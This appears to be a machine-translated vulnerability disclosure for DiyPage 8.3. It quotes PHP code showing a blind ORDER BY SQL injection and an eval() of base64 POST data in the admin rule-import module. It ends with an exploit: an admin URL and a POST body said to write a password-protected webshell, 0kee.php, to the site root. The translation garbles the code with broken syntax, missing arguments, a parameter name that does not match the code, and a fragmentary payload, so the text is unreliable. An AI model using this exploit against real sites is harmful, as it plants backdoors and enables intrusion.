DiyPage8.3 orderby injection and code execution vulnerabilities and fixes

 

Mod \ dpcms \ js \ searchsubmit. php

36th rows

 

 

$ Srchorder = $ _ GET ['srchorder']? $ _ GET ['srchorder']: 'eid ';

 

 

52nd rows

 

 

$ SQL = 'select eid, builddate, title, author, content ';

$ SQL. = 'from'. DP_DBPREFIX. 'cms _ entry WHERE active = 1 AND ';

......

...........

$ SQL. = 'order BY '. $ srchorder.'. $ ascdesc;

$ SQL. = 'limit'. $ offset. ','. $ srchtotal;

$ Query = $ db-> query ($ SQL );

 

 

There is no error echo after the pork point is 'ORDER BY'. Only blind injection is allowed.

 

 

Ii. Background Code Execution

This is a backdoor-like hole, but do you dare not assert it?

Mod \ spider \ cp \ rule_import.php line 8th

 

 

If ($ _ POST ['issubmit '] = true ){

$ Importarray = array ();

Eval (b64 ($ _ POST ['rule']);

 

 

Below is the b64 function in inc \ func. php.

 

 

Function b64 ($ str, $ encode = false ){

If ($ encode ){

Return '[b64]'. base64_encode ($ str );

} Else {

If (substr ($ str,) = '{b64}' or substr ($ str,) = '[b64]') {

Return base64_decode (str_replace (array ('{b64}', '[b64]'), '', $ str ));

} Else {

Return $ str;

}

}

}

 

 

EXP: after entering the background

 

 

Http://www.bkjia.com/admin. php? Mod = modcp & formod = spider & item = ruleadm & do = import

Submit the following POST package so far

Issubmit = true & rulestr = [b64] Limit + Iik7ZmNsb3NlKCRmcCk7

Generate 0kee. php password 0kee in the root directory